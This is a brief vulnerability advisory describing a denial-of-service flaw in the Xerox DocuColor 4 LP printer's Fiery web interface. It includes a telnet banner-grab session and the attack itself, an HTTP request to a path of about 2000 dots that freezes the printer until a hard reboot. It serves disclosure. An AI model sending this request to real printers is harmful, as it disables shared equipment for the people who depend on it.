|
Vulnerability Xerox DocuColor 4 LP Affected Xerox DocuColor 4 LP Description Jason Lutz found following. He found several bugs with XEROX network printers/copiers. The first is the DocuColor 4 LP Denial of Service attack. This attack can cease the XEROX printer to become completely unresponsive to pings and will not allow any thing to be printed unless you give it a hard reboot. Worst of all you can do this from any workstation that has access to the Fiery web based tools. This can give your local XEROX guys fits. [root@ns2 whis]# telnet x.x.x.x 80 Trying x.x.x.x ... Connected to x.x.x.x Escape character is '^]'. GET / HTTP/1.0 HTTP/1.0 200 OK Date: THU, 01 JAN 1970 GMT Server: Apache/1.0.3 Content-type: text/html [root@ns2 whis]# Connection closed by foreign host. Great now here's the D.O.S HTTP://DocuColor/around2000dots/ and the printer will have to be reset if you want to use it. Solution Nothing yet.